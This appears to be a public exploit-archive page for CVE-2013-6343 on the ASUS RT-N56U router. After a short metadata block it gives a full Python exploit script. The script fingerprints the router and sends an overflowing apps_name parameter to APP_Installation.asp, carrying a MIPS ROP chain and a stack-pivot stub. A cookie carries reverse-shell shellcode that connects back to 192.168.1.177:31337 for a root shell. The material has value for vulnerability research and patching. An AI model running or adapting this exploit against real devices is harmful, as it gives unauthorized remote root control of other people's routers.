ASUS RT-N56U Remote Root Exploit

2014-01-21 / 2014-01-23

Credit: Jacob Holcomb/Gimppy

Risk: High

Local: No

Remote: Yes

CVE: CVE-2013-6343

CWE: N/A

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

#!/usr/bin/env python
 
from time import sleep
from sys import exit
import urllib2, signal, struct, base64, socket, ssl
 
# [*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name
# [*] Discovered and Reported: October 2013
# [*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE
# [*] Contact: Twitter - @rootHak42
# [*] Software Vendor: http://asus.com
# [*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
# [*] Software: httpd (Listens on TCP/80 and TCP/443)
# [*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)
# [*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343
#
# [*] Overview:
#       Multiple ASUS routers including the RT-N56U and RT-AC66U have the ability to install
#       supplemental applications. This install process is handled by the routers web server,
#       and is susceptible to multiple Buffer Overflow attacks.
#
#       Vulnerable Web Page: APP_Installation.asp
#       Vulnerable HTML Parameters: apps_name, apps_flag
#       Vulneralbe Source File: web.c of httpd code
#       *Firmware versions prior to the tested version were vulnerable to this attack.
#
 
 
def fingerPrint(host, port, netSock):
 
    fprint = ["RT-N56U"]
    found = None
    print " [*] Preparing to fingerprint the server."
    try:
        print " [*] Connecting to %s on port %d." % (host, port)
        netSock.connect((host, port))
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)
 
    try:
        print " [*] Sending fingerprint request."
        netSock.send("HEAD / HTTP/1.1\r\n\r\n")
        netData = netSock.recv(1024)
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)
 
    try:
        print " [*] Closing network socket.\n"
        netSock.close()
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
 
    for item in fprint:
        if item in netData:
            print " [!!!] Target system found in signature list - Result: %s [!!!]\n" % item
            sleep(1)
            found = item
    if found == None:
        print " [!!!] Server banner doesn't match available targets. [!!!]\n"
        sleep(1)
        exit(0)
    else:
        return found
 
 
def targURL():
 
    while True:
     
        URL = raw_input("\n[*] Please enter the URL of the router. Ex. http://192.168.1.1\n>")
        if len(URL) != 0 and URL[0:7] == "http://" or URL[0:8] == "https://":
            return URL.lower()
        else:
            print "\n\n [!!!] Target URL cant be null and must contain http:// or https:// [!!!]\n"
            sleep(1)
 
 
def creds():
 
    while True:
 
        User = raw_input("\n[*] Please enter the username for the routers HTTP Basic Authentication:\n>")
        Pass = raw_input("\n[*] Please enter the password for the supplied username:\n>")
        if len(User) != 0:
            return User, Pass
        else:
            print "\n [!!!] Username cant be null [!!!]\n"
            sleep(1)
 
 
def basicAuth():
 
    auth = None
 
    while auth != "yes" and auth != "no":
        auth = raw_input("\n[*] Would you like to use HTTP Basic Authentication? \"yes\" or \"no\"\n>")
 
        if auth.lower() == "yes":
            print "\n\n[!!!] You chose to use HTTP Basic Authentication [!!!]\n"
            sleep(1)
            User, Pass = creds()
            return base64.encodestring("%s:%s" % (User, Pass)).replace("\n", "")
        elif auth.lower() == "no":
            print "\n\n[!!!] You chose not to use HTTP Basic Authentication. [!!!]\n"
            sleep(1)
            return 0
        else:
            print "\n\n[!!!] Error: You entered %s. Please enter \"yes\" or \"no\"! [!!!]\n" % auth
            sleep(1)
 
 
def sigHandle(signum, frm): # Signal handler
      
    print "\n\n[!!!] Cleaning up the exploit... [!!!]\n"
    sleep(1)
    exit(0)
 
 
def main():
 
    print """\n[*] Title: ASUS RT-N56U Remote Root Shell Exploit - apps_name
[*] Discovered and Reported: October 2013
[*] Discovered/Exploited By: Jacob Holcomb/Gimppy - Security Analyst @ ISE
[*] Contact: Twitter - @rootHak42
[*] Software Vendor: http://asus.com
[*] Exploit/Advisory: http://securityevaluators.com, http://infosec42.blogspot.com/
[*] Software: httpd (Listens on TCP/80 and TCP/443)
[*] Tested Firmware Versions: 3.0.0.4.374_979 (Other versions may be vulnerable)
[*] CVE: ASUS RT-N56U Buffer Overflow: CVE-2013-6343\n"""
    signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c
 
    target = targURL()
    try:
        print "\n [*] Creating network socket"
        netSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        if target[0:5] == "https":
            host = target[8:]
            port = 443
            print " [*] Preparing SSL/TLS support."
            https_netSock = ssl.wrap_socket(netSock)
            finger = fingerPrint(host, port, https_netSock)
        else:
            host = target[7:]
            port = 80
            finger = fingerPrint(host, port, netSock)
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)
 
    auth = basicAuth()
    junk = "\x42" * 109
    link_nop = "2Aa3"
 
    #Base address of ld_uClibc and libc in httpd address space
    ld_uClibcBase = 0x2aaa8000
    libcBaseAddr = 0x2ab5f000
 
    #Rop Chain
    #<chown+68>:   move    v0,s0 -> sched_yield()
    #<chown+72>:   lw  ra,28(sp) -> Rop2
    #<chown+76>:   lw  s0,24(sp)
    #<chown+80>:   jr  ra
    #<chown+84>:   addiu   sp,sp,32
    saved_ra1 = struct.pack("<L", libcBaseAddr + 0x73f4)
 
    #<_dl_runtime_pltresolve+68>:  lw  ra,36(sp) -> Rop 3
    #<_dl_runtime_pltresolve+72>:  lw  a0,16(sp)
    #<_dl_runtime_pltresolve+76>:  lw  a1,20(sp)
    #<_dl_runtime_pltresolve+80>:  lw  a2,24(sp)
    #<_dl_runtime_pltresolve+84>:  lw  a3,28(sp)
    #<_dl_runtime_pltresolve+88>:  addiu   sp,sp,40
    #<_dl_runtime_pltresolve+92>:  move    t9,v0
    #<_dl_runtime_pltresolve+96>:  jr  t9 -> jump sched_yield()
    #<_dl_runtime_pltresolve+100>: nop
    saved_ra2 = struct.pack("<L", ld_uClibcBase + 0x4e94)
 
    #<setrlimit64+144>:    addiu   a1,sp,24 -> ptr to stack
    #<setrlimit64+148>:    lw  gp,16(sp)
    #<setrlimit64+152>:    lw  ra,32(sp) -> Rop 4
    #<setrlimit64+156>:    jr  ra -> jump Rop 4
    #<setrlimit64+160>:    addiu   sp,sp,40
    saved_ra3 = struct.pack("<L", libcBaseAddr + 0x9ce0)
 
    #move    t9,a1 -> ptr to jalr sp on stack
    #addiu   a0,a0,56
    #jr      t9 -> jump to stack
    #move    a1,a2
    saved_ra4 = struct.pack("<L", libcBaseAddr + 0x308fc)
 
    #sched_yield()
    sch_yield_s0 = struct.pack("<L", libcBaseAddr + 0x94b0)
    
    #Stage 1 Shellcode
    jalr_sp =  "\x09\xf8\xa0\x03"
 
    #Stage 2 Shellcode (Stack Pivot) by Jacob Holcomb of ISE
    stg2_SC = "\x2c\x08\xbd\x27"# addiu sp, sp, 2092
    stg2_SC += "\x09\xf8\xa0\x03"# jalr sp
    stg2_SC += "\x32\x41\x61"#filler for link (branch delay)
 
    #Stage 3 Shellcode
    #200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb of ISE
    #Connects on 192.168.1.177:31337
    stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
    stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
    stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
    stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
    stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
    stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
    stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
    stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
    stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
    stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
    stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
 
    payload =  junk + sch_yield_s0 + junk[0:12] + saved_ra1 + junk[0:32]
    payload += saved_ra2 + junk[0:36] + saved_ra3 + junk[0:24] + jalr_sp
    payload += link_nop + saved_ra4 + junk[0:4] + stg2_SC
    postData = "apps_action=install&apps_path=&apps_name=%s&apps_flag=sdb1" % payload
 
    try:
        print "\n [*] Preparing the malicious web request."
        httpRequest = urllib2.Request("%s/APP_Installation.asp" % target, data = postData)
        httpRequest.add_header("Cookie", "hwaddr=" + junk[0:35] + stg3_SC + "\x42" * (265 - len(stg3_SC)))
        if auth != 0:
            httpRequest.add_header("Authorization", "Basic %s" % auth)
        print " [*] Successfully built HTTP POST request."
 
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)
 
    try:
        print """ [*] Preparing to send Evil PAYLoAd to %s on port %d!\n [*] Payload Length: %d
 [*] Waiting...""" % (host, port, len(payload))
        sploit = urllib2.urlopen(httpRequest, None, 6)
        if sploit.getcode() == 200:
            print " [*] Server Response: HTTP 200 OK. Get ready 2 catch roOt on TCP/31337!"
        else:
            print " [*] Server Response: HTTP %d. Something went wrong!" % sploit.getcode()
 
    except(urllib2.URLError) as error:
        print "\n [!!!] Web request error! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)
    except Exception as error:
        print "\n [!!!] ERROR! %s %s [!!!]\n\n" % (type(error), error)
        exit(0)
    finally:
        print " [*] %s exploit code has finished.\n" % finger
 
if __name__ == "__main__":
    main()  

References:

http://securityevaluators.com

http://infosec42.blogspot.com/

See this note in RAW Version

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